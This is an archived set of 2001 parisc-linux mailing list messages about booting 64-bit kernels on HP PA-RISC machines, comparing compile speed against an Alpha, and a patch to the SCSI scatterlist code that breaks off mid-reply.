sym53c8xx32 BIT PCI BUS DMA ADDRESSING NOT SUPPORTED
sym53c8xx: at PCI bus 0, device 2, function 1
sym53c8xx32 BIT PCI BUS DMA ADDRESSING NOT SUPPORTED
sym53c8xx: at PCI bus 0, device 1, function 0
sym53c8xx: setting PCI_COMMAND_INVALIDATE (fix-up)
sym53c8xx: 53c896 detected 
sym53c8xx: at PCI bus 0, device 1, function 1
sym53c8xx: setting PCI_COMMAND_INVALIDATE (fix-up)
sym53c8xx: 53c896 detected 
sym53c896-0: rev 0x7 on pci bus 0 device 1 function 0 irq 129
sym53c896-0: ID 7, Fast-40, Parity Checking
sym53c896-0: handling phase mismatch from SCRIPTS.
sym53c896-1: rev 0x7 on pci bus 0 device 1 function 1 irq 130
sym53c896-1: ID 7, Fast-40, Parity Checking
sym53c896-1: handling phase mismatch from SCRIPTS.
scsi0 : sym53c8xx-1.7.3c-20010512
scsi1 : sym53c8xx-1.7.3c-20010512
  Vendor: SEAGATE   Model: ST39204LC         Rev: HP04
  Type:   Direct-Access                      ANSI SCSI revision: 03
Attached scsi disk sda at scsi1, channel 0, id 15, lun 0
sym53c896-1-<15,*>: FAST-20 WIDE SCSI 40.0 MB/s (50.0 ns, offset 31)
SCSI device sda: 17783112 512-byte hdwr sectors (9105 MB)
Partition check:
 sda: sda1 sda2 sda3 sda4
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 1024 buckets, 48Kbytes
TCP: Hash tables configured (established 32768 bind 65536)
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
VFS: Mounted root (ext2 filesystem) readonly.
Adding Swap: 132072k swap-space (priority -1)
eth0: Setting half-duplex based on MII#1 link partner capability of 0021.

--------------F0E628938ADB2B3342B55372--




From - Thu Nov 08 21:20:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rbradetich@uswest.net (Ryan Bradetich)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64bit kernels boot on C200 (finally) :)
Date: Thu, 15 Nov 2001 20:39:01 -0700
Lines: 34
Approved: news@gmane.org
Message-ID: <20011115203901.A8837@beavis.ybsoft.com>
References: <20011115123203.A2337@beavis.ybsoft.com> <20011115200102.E25491@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620760 30019 80.91.229.3 (22 Nov 2014 01:46:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:00 +0000 (UTC)
Cc: Ryan Bradetich <rbradetich@uswest.net>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 15 20:39:03 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (unknown [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 799C0482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Nov 2001 20:39:03 -0700 (MST)
Original-Received: by beavis.ybsoft.com (Postfix, from userid 1000)
	id D64C6BD7A; Thu, 15 Nov 2001 20:39:01 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20011115200102.E25491@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.22i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13073

[ Snip ]
> i'm surprised the network works given the number of warnings when compiling
> lasi_82596.c with a 64-bit compiler.

it does ... that was over a nfs root.  I plan on taking a look at the compiler
warnings here shortly.  But I have not tested out how much works on the C200+
with a 64-bit kernel ... I have no idea if scsi works, etc.  I will play with
it more and see what is br0k3n.... I was just happy to see the login prompt.

> btw, does a 64-bit kernel with the 32-bit wrapper options enabled boot
> on a PAT PDC box like A500?

I'm not sure if I understand the question, so let me try to restate the
question I think you are asking.

If you compile in 32-bit wrapper support into a 64-bit kernel ... can
the same kernel be used on a PAT PDC box like the A500? 

  No.  When I first started down the 32-bit wrapper support, I was going
  to make the wrappers smart and use the 32-bit wrappers when needed.  I
  was talked out of the idea, because on all the boxes that need the
  32-bit wrappers do not support > 4G ram, thus there is no advantage
  (yes Grant, I know ... some application do benefit from 64-bit kernels)
  for running a 64-bit kernel on them.  The PDC wrappers are designed to
  be used for developement/testing purposes for people with these systems.
  (By Making the wrappers a compile time option, it saves an additional
   level of indirection for every pdc call).


That help?  If not, I'll try again.

- Ryan



From - Thu Nov 08 21:20:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64bit kernels boot on C200 (finally) :)
Date: Thu, 15 Nov 2001 21:52:43 -0700
Lines: 11
Approved: news@gmane.org
Message-ID: <200111160452.VAA18527@puffin.external.hp.com>
References: <20011115123203.A2337@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620761 30022 80.91.229.3 (22 Nov 2014 01:46:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:01 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: rbradetich@uswest.net (Ryan Bradetich)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 15 21:56:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 10D81482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Nov 2001 21:56:55 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id VAA18527;
	Thu, 15 Nov 2001 21:52:43 -0700
In-Reply-To: Message from rbradetich@uswest.net (Ryan Bradetich) 
   of "Thu, 15 Nov 2001 12:32:03 MST." <20011115123203.A2337@beavis.ybsoft.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13074

Ryan Bradetich wrote:
> demo@vega:~$ uname -a
> Linux vega 2.4.14-pa1 #2 Thu Nov 15 12:08:07 MST 2001 parisc64 unknown

Ryan! Congrats! That's so cool!

grant

ps. ryan has been working on this for nearly a year..quite a milestone!



From - Thu Nov 08 21:20:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The A500 likes 2.4.14-pa3
Date: Thu, 15 Nov 2001 22:01:09 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <200111160501.WAA18562@puffin.external.hp.com>
References: <marteaut@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620761 30030 80.91.229.3 (22 Nov 2014 01:46:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:01 +0000 (UTC)
Cc: "parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>
To: Thomas Marteau <marteaut@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 15 22:05:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9AE29482C
	for <parisc-linux@parisc-linux.org>; Thu, 15 Nov 2001 22:05:20 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id WAA18562;
	Thu, 15 Nov 2001 22:01:09 -0700
In-Reply-To: Message from Thomas Marteau <marteaut@esiee.fr> 
   of "Thu, 15 Nov 2001 22:40:12 +0100." <3BF4363C.42B5F4AE@esiee.fr> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13075

Thomas Marteau wrote:
> 	A short mail to tell you that I succeed to boot my A500-5X with
> 2.4.14-pa3 as you will see below!

Excellent! (lots of good news tonight for a change :^)

> 	Then, I try with the SMP support. But a function is not implemented for
> parisc. cpu_online_map is in init/main.c and coming from the recent
> merge, afaik.

I've fixed that issue in my local tree but haven't had a chance to test it.
(had to fix sba HPMC issue first)

> I commented it. It was compilable. So I give it a shot: 

hehe...ok. I'll test out my fix and commit tonight if it works fine.

thanks!
grant



From - Thu Nov 08 21:20:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jurriaan on Alpha <thunder7@xs4all.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux/PA-RISC speed (was Re: C240 Graphics, 64bit kernel and more)
Date: Fri, 16 Nov 2001 07:34:18 +0100
Lines: 82
Approved: news@gmane.org
Message-ID: <20011116073418.A15527@alpha.of.nowhere>
References: <Pine.OSF.3.96.1011115140754.20078A-100000@student.cs.ucc.ie>
Reply-To: thunder7@xs4all.nl
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620761 30063 80.91.229.3 (22 Nov 2014 01:46:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:01 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Markus Grabert <xam@student.cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 15 23:38:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtpzilla2.xs4all.nl (smtpzilla2.xs4all.nl [194.109.127.138])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2CA71482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Nov 2001 23:38:10 -0700 (MST)
Original-Received: from rivierenland.xs4all.nl (rivierenland.xs4all.nl [194.109.14.47])
	by smtpzilla2.xs4all.nl (8.12.0/8.12.0) with ESMTP id fAG6c7W7060464
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Nov 2001 07:38:07 +0100 (CET)
Original-Received: (qmail 6832 invoked from network); 16 Nov 2001 06:34:23 -0000
Original-Received: from unknown (HELO rivierenland.xs4all.nl) (unknown)
  by unknown with SMTP; 16 Nov 2001 06:34:23 -0000
Original-Received: (qmail 21229 invoked by uid 1000); 16 Nov 2001 06:34:19 -0000
Content-Disposition: inline
In-Reply-To: <Pine.OSF.3.96.1011115140754.20078A-100000@student.cs.ucc.ie>
User-Agent: Mutt/1.3.23i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13076

On Thu, Nov 15, 2001 at 02:08:46PM +0000, Markus Grabert wrote:
> Jurriaan Kalkman wrote:
> 
>> I can only say that compiling a kernel on my C200 takes about 2 times
>> as long as on my alpha (21164, 500 Mhz, 2 Mb cache). I feel it should
>> be faster.
> 
> That's odd.
> A 21164/500MHz (not 21164A or 21164PC) is slower according to
> Spec_INT95, Spec_FP95 and the Spec_base(INT|FP)95 variants.

Well, it actually is a 21164A I guess:

cpu model		: EV56
cpu variation		: 7
cpu revision		: 0
system type		: Miata
cycle frequency [Hz]	: 499784372 est.
timer frequency [Hz]	: 1024.00
page size [bytes]	: 8192
phys. address bits	: 40
max. addr. space #	: 127
BogoMIPS		: 988.76
kernel unaligned acc	: 1 (pc=fffffffc0040f064,va=fffffc8900008027)
user unaligned acc	: 0 (pc=0,va=0)
platform string		: Digital Personal WorkStation 500au
cpus detected		: 1

> 
> Indeed the benchmarks say that the Alpha is about 50% slower for FP stuff
> 
> and just a little bit slower for INT stuff (compared to a C240 HP/UX).
> 
> Moreover, according to SPEC:
> If you compare it to a Intel CPU, the PA8200/236Mhz seem to be as fast as
> a Pentium II 400-450 for integer operations and as fast as a
> Pentium III 750-800 for floating point operations.
> 
> Well, lies, bigger lies/statistics and benchmarks.
> Don't trust them.
> Nevertheless a factor of 2 shouldn't occur. It's a too big number.
> Is it just for compiling the kernel or for every application ?
> 
I'm most interested in the speed of compiling, since that what I do most :-)
Having just downloaded the angband-2.9.4-alpha.tar.gz file, I ran this
test in a fresh angband-2.9.4-alpha directory:

#!/bin/sh
# prep the cache
find . -type f -exec cat {} > /dev/null ';'
./configure > /dev/null
time sh -c "make > /dev/null"
make distclean > /dev/null

Both tests were run on systems with 512 Mb memory, the C200+ has a
Quantum UW-SCSI harddisk, the Alpha an IBM UW-SCSI harddisk, but Bonnie
shows them to be almost the same speed. I especially compiled and installed
gcc-3.0.2 20010924 on the Alpha to get as close as possible in compiler
versions, but the Alpha got even faster...

Alpha (gcc-2.95.4)        : real 5m45 user 5m13 system  9s
Alpha (gcc-3.0.2 20010924): real 4m36 user 4m12 system 10s
C200+ (gcc-3.0.2 20010922): real 8m23 user 7m48 system 33s
dual P3/700 (gcc-2.95.4)  : real 1m20 user 1m17 system  3s

and I'd like to note that I was reading mail, news and ssh'ing to the
C200+ from the alpha at the same time, the C200+ wasn't doing anything
else. Angband-2.9.4 is a set of c-sources of some 175000 lines.

The results are shocking; the C200+ is twice as slow, and uses 3 times as
much system time. The angband-2.9.4-alpha sources live at
ftp://clockwork.dementia.org/angband/Source/angband-2.9.4-alpha.tar.gz
if anyone feels like repeating this experiment.

Good luck,
Jurriaan
-- 
I expect Woman will be the last thing civilized by Man.
        George Meredith
GNU/Linux 2.4.15-pre4 on Debian/Alpha 64-bits 988 bogomips load:1.05 1.01 0.77



From - Thu Nov 08 21:20:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux/PA-RISC speed (was Re: C240 Graphics, 64bit kernel and more)
Date: Fri, 16 Nov 2001 00:00:16 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <200111160700.AAA18727@puffin.external.hp.com>
References: <thunder7@xs4all.nl>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620762 30071 80.91.229.3 (22 Nov 2014 01:46:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: thunder7@xs4all.nl
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 16 00:04:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 92A9F482C
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Nov 2001 00:04:32 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id AAA18727;
	Fri, 16 Nov 2001 00:00:16 -0700
In-Reply-To: Message from Jurriaan on Alpha <thunder7@xs4all.nl> 
   of "Fri, 16 Nov 2001 07:34:18 +0100." <20011116073418.A15527@alpha.of.nowhere> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13077

Jurriaan on Alpha wrote:
> The results are shocking; the C200+ is twice as slow, and uses 3 times as
> much system time.

I'm not surprised by the result.
1) We've done nearly zero tuning kernel.  Alpha port is much more mature.
2) gcc is poorly tuned for hppa as well.
   ie compare perf of gcc vs acc on HPUX. Up to 2x difference in some cases.
3) gcc is int intensive. Ie clock speed matters more and the alpha
   has 2.5x advantage here.

grant



From - Thu Nov 08 21:20:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] parisc scatterlist doesn't want page/offset
Date: Fri, 16 Nov 2001 00:30:32 -0700
Lines: 123
Approved: news@gmane.org
Message-ID: <200111160730.AAA18774@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620762 30077 80.91.229.3 (22 Nov 2014 01:46:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:02 +0000 (UTC)
Cc: linux-mm@kvack.org, parisc-linux@lists.parisc-linux.org
To: "David S. Miller" <davem@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 16 00:34:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 00E2E482C
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Nov 2001 00:34:56 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id AAA18774;
	Fri, 16 Nov 2001 00:30:32 -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13078

Hi all,
Could someone point me to any discussion about adding
page/offset to struct scatterlist?

To me, it looks like a half-assed step to support DMA to HIGHMEM
on 32-bit arches.  TBH, I'd like to see page/offset replace
address in the pci_map* interfaces and struct scatterlist.
But then replace it across the board so the DMA mapping code
doesn't have to decide which field to use (KISS). This really
belongs in 2.5 kernel.

parisc has just merged up to 2.4.14 and picked up the following
macros from arch/sparc:
/* No highmem on parisc, plus we have an IOMMU, so mapping pages is easy. */
#define pci_map_page(dev, page, off, size, dir) \
        pci_map_single(dev, (page_address(page) + (off)), size, dir) 
#define pci_unmap_page(dev,addr,sz,dir) pci_unmap_single(dev,addr,sz,dir)

afaict, parisc doesn't need page/offset in struct scatterlist.
As an interim solution, I've appended a patch that I'm hoping
is acceptable (or at least a starting point).
Thoughts?

thanks,
grant

ps. I'm trying to be constructive - it's a bit difficult after
  putting up with davem ranting about how the DMA mapping interface
  in 2.4 was frozen.

Index: drivers/scsi/scsi_merge.c
===================================================================
RCS file: /var/cvs/linux/drivers/scsi/scsi_merge.c,v
retrieving revision 1.10
diff -u -p -r1.10 scsi_merge.c
--- drivers/scsi/scsi_merge.c	2001/11/09 23:36:24	1.10
+++ drivers/scsi/scsi_merge.c	2001/11/16 07:26:36
@@ -943,7 +943,9 @@ __inline static int __init_io(Scsi_Cmnd 
 		}
 		count++;
 		sgpnt[count - 1].address = bh->b_data;
+#ifdef CONFIG_HIGHMEM
 		sgpnt[count - 1].page = NULL;
+#endif
 		sgpnt[count - 1].length += bh->b_size;
 		if (!dma_host) {
 			SCpnt->request_bufflen += bh->b_size;
Index: drivers/scsi/sg.c
===================================================================
RCS file: /var/cvs/linux/drivers/scsi/sg.c,v
retrieving revision 1.12
diff -u -p -r1.12 sg.c
--- drivers/scsi/sg.c	2001/11/09 23:36:24	1.12
+++ drivers/scsi/sg.c	2001/11/16 07:26:37
@@ -1544,7 +1544,9 @@ static int sg_build_dir(Sg_request * srp
 	num = (rem_sz > (PAGE_SIZE - offset)) ? (PAGE_SIZE - offset) :
 						rem_sz;
 	sclp->address = page_address(kp->maplist[k]) + offset;
+#ifdef CONFIG_HIGHMEM
 	sclp->page = NULL;
+#endif
 	sclp->length = num;
 	mem_src_arr[k] = SG_USER_MEM;
 	rem_sz -= num;
@@ -1631,7 +1633,9 @@ static int sg_build_indi(Sg_scatter_hold
                     break;
             }
             sclp->address = p;
+#ifdef CONFIG_HIGHMEM
 	    sclp->page = NULL;
+#endif
             sclp->length = ret_sz;
 	    mem_src_arr[k] = mem_src;
 
@@ -1789,7 +1793,9 @@ static void sg_remove_scat(Sg_scatter_ho
                        k, sclp->address, sclp->length, mem_src));
             sg_free(sclp->address, sclp->length, mem_src);
             sclp->address = NULL;
+#ifdef CONFIG_HIGHMEM
 	    sclp->page = NULL;
+#endif
             sclp->length = 0;
         }
 	sg_free(schp->buffer, schp->sglist_len, schp->buffer_mem_src);
Index: drivers/scsi/st.c
===================================================================
RCS file: /var/cvs/linux/drivers/scsi/st.c,v
retrieving revision 1.10
diff -u -p -r1.10 st.c
--- drivers/scsi/st.c	2001/11/09 23:36:24	1.10
+++ drivers/scsi/st.c	2001/11/16 07:26:39
@@ -3233,7 +3233,9 @@ static ST_buffer *
 				break;
 			}
 		}
+#ifdef CONFIG_HIGHMEM
 		tb->sg[0].page = NULL;
+#endif
 		if (tb->sg[segs].address == NULL) {
 			kfree(tb);
 			tb = NULL;
@@ -3265,7 +3267,9 @@ static ST_buffer *
 					tb = NULL;
 					break;
 				}
+#ifdef CONFIG_HIGHMEM
 				tb->sg[segs].page = NULL;
+#endif
 				tb->sg[segs].length = b_size;
 				got += b_size;
 				segs++;
@@ -3339,7 +3343,9 @@ static int enlarge_buffer(ST_buffer * ST
 			normalize_buffer(STbuffer);
 			return FALSE;
 		}
+#ifdef CONFIG_HIGHMEM
 		STbuffer->sg[segs].page = NULL;
+#endif
 		STbuffer->sg[segs].length = b_size;
 		STbuffer->sg_segs += 1;
 		got += b_size;



From - Thu Nov 08 21:20:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jens Axboe <axboe@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: parisc scatterlist doesn't want page/offset
Date: Fri, 16 Nov 2001 09:33:56 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <20011116093356.D27010@suse.de>
References: <200111160730.AAA18774@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620762 30083 80.91.229.3 (22 Nov 2014 01:46:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:02 +0000 (UTC)
Cc: "David S. Miller" <davem@redhat.com>, linux-mm@kvack.org,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 16 01:34:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from virtualhost.dk (ns.virtualhost.dk [195.184.98.160])
	by dsl2.external.hp.com (Postfix) with ESMTP id 07C1C482C
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Nov 2001 01:34:28 -0700 (MST)
Original-Received: from 33.ppp1-4.hob.worldonline.dk ([212.54.85.161] helo=milhouse.home.kernel.dk)
	by virtualhost.dk with esmtp (Exim 3.22 #4)
	id 164eRy-0001wX-00; Fri, 16 Nov 2001 09:34:14 +0100
Original-Received: (from axboe@localhost)
	by milhouse.home.kernel.dk (8.11.6/8.11.6/SuSE Linux 0.5) id fAG8XuY09869;
	Fri, 16 Nov 2001 09:33:56 +0100
Content-Disposition: inline
In-Reply-To: <200111160730.AAA18774@puffin.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13079

On Fri, Nov 16 2001, Grant Grundler wrote:
> Hi all,
> Could someone point me to any discussion about adding
> page/offset to struct scatterlist?

See lkml a couple months back, 32-bit dma etc discussion.
> 
> To me, it looks like a half-assed step to support DMA to HIGHMEM
> on 32-bit arches.  TBH, I'd like to see page/offset replace
